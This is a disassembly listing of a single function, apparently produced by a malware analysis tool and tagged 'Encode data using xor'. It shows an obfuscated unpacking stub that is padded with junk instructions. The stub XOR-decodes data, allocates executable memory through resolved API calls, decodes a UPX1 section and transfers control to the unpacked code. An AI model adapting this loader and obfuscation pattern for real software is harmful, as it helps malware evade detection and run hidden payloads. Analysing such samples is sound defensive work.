Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa0ee5288
mov ecx, 0x702910a5
mov edx, 0x6ca32b57
popal
sub edx, 0x9e4b80e6
dec edx
mov edx, 0xc4f70065
mov edx, 0
mov edi, eax
inc ecx
inc ecx
mov ecx, ebx
mov esi, edi
sub ebx, 1
sub ecx, ebx
mov eax, esi
dec ebx
add ecx, ecx
add edx, 1
sub ecx, ebx
sub ebx, 0x7f4636b8
cmp edx, 0x1006461
jne 0xa789ce
dec ecx
add ebx, ecx
mov ecx, 0x14eed834
mov edx, ecx
add ecx, 0x16ba0062
sub edx, 0x43b9843a
mov edi, 0xa78796
not esi
not ebx
mov eax, 0xa7898a
inc ebx
and edx, ebx
add esi, 0xe3af17f1
mov ecx, dword [edi]
sub esi, ebx
add ebx, esi
dec edx
and ecx, 0xff
sub ebx, esi
add ebx, 0x96467226
inc esi
xor dword [eax], ecx
and edx, ebx
dec edx
sub edx, ebx
add eax, 1
sub ebx, esi
inc esi
inc edi
and ebx, ebx
mov esi, edx
mov ebx, 0xdad88dbb
cmp eax, entry0
jl 0xa78a2a
add edx, 0x7ac6eec3
sub edx, 0x93aeed44
sub esi, edx
add ebx, 0x9da8aa0f
or esi, edx
and edx, esi
mov ebx, 0xa7898e
or edi, ecx
add esi, 0xabf79f8
sub edx, 0xd62d92b2
mov ebx, dword [ebx]
mov ecx, edx
sub edi, 1
inc esi
mov ebx, dword [ebx]
sub esi, edi
add ecx, 1
sub esp, 4
mov dword [esp], ebx
sub esi, 0xeaaa7326
add ecx, esi
mov ebx, 0xa7898a
sub edi, ecx
sub edx, esi
mov ebx, dword [ebx]
or edx, edi
sub edx, 1
mov ebx, dword [ebx]
add edi, 0x8cb895d6
not esi
push 0xa78992
add edx, 0xad324cac
dec esi
add edx, 1
call ebx
sub esi, edx
and edi, esi
pop ebx
add ecx, 0xa775960b
add esi, edx
sub esp, 4
mov dword [esp], 0xa7899f
mov edi, 0x7c8a157f
and esi, edi
mov esi, 0x5af52f4
push eax
inc edx
add edx, 1
add edx, 0xeef2a59e
call ebx
sub esi, 0xcfa2c17d
sub edi, 0x158ad6df
push 0x40
add ecx, ecx
sub edi, edx
or ecx, edi
push 0x3000
or edx, esi
sub edx, ecx
sub esp, 4
mov dword [esp], 0x20000085
inc edi
and edx, edi
mov edx, 0x25c056b6
sub esp, 4
mov dword [esp], 0
sub esi, 0xabb2e0aa
inc edi
sub esi, 0x94f2ec30
call eax
add edi, edx
sub edi, 0x792898
dec edi
add eax, 0x1fffffe2
dec edx
add ecx, 0xd95c8170
add edx, 0x4a08bd
mov ebx, 0x745646ef
sub edi, 0xd3b548d1
add esi, 0x7cd9f69c
mov dword [eax], ebx
add edi, 0xeaa3af80
mov ecx, edi
inc ecx
mov ebx, dword [eax]
add esi, esi
inc edi
add esi, 0xf613cad9
cmp ebx, 0x745646ef
je 0xa78bb5
mov eax, 0
mov ecx, dword [eax]
sub edx, 0x77a19a9a
or ecx, edi
mov ecx, edx
add edi, edx
sub ecx, 0x6881eebb
or edx, edx
mov edi, section.UPX1
sub ecx, edx
and edx, ecx
mov ebx, 0xa78795
not ecx
mov edx, 0xe61c3e1f
mov eax, 0
not ecx
dec ecx
mov esi, 0xa78796
sub edx, 0x376ed2c1
sub edx, ecx
lea esi, [esi + eax]
and edx, ecx
add edx, 0x98b700d0
mov esi, dword [esi]
add edx, ecx
sub ecx, edx
and esi, 0xff
and edx, ecx
inc ecx
mov edx, ecx
inc eax
add edx, 1
not ecx
cmp eax, 0x1f4
jne 0xa78c25
mov eax, 0
sub ecx, 0x5579564a
or ecx, edx
mov edx, 0x5b301bda
sub ecx, edx
and ecx, edx
xor dword [edi], esi
add ecx, 0x86f113f8
add edx, edx
add edi, 2
mov ecx, edx
add edx, 0xdfca9206
cmp edi, ebx
jl 0xa78be6
inc edx
add edx, 1
inc ecx
add ecx, edx
and edx, ecx
mov edx, section.UPX1
dec eax
add eax, eax
sub esi, eax
mov edi, section.UPX1
mov esi, 0xecec5595
add eax, 0x49644036
not eax
mov ecx, 0xa78795
sub esi, eax
not esi
mov ebx, 0
sub esi, eax
or eax, esi
sub eax, esi
mov bl, byte [edi]
dec esi
mov eax, 0xa08b6a15
add esi, 0xd367fea2
mov byte [edx], bl
add eax, 0x768e7099
add esi, eax
sub eax, 1
inc edx
add eax, 0x65f0c767
mov esi, eax
add edi, 2
add esi, 0x5e1dd7da
sub eax, esi
cmp edi, ecx
jle 0xa78c92
sub eax, 0x3ffb74a6
and esi, eax
sub ecx, 0x59c42910
and ecx, ecx
add edx, 0x2e25d062
push 0x8dc6a0
not edx
not ecx
ret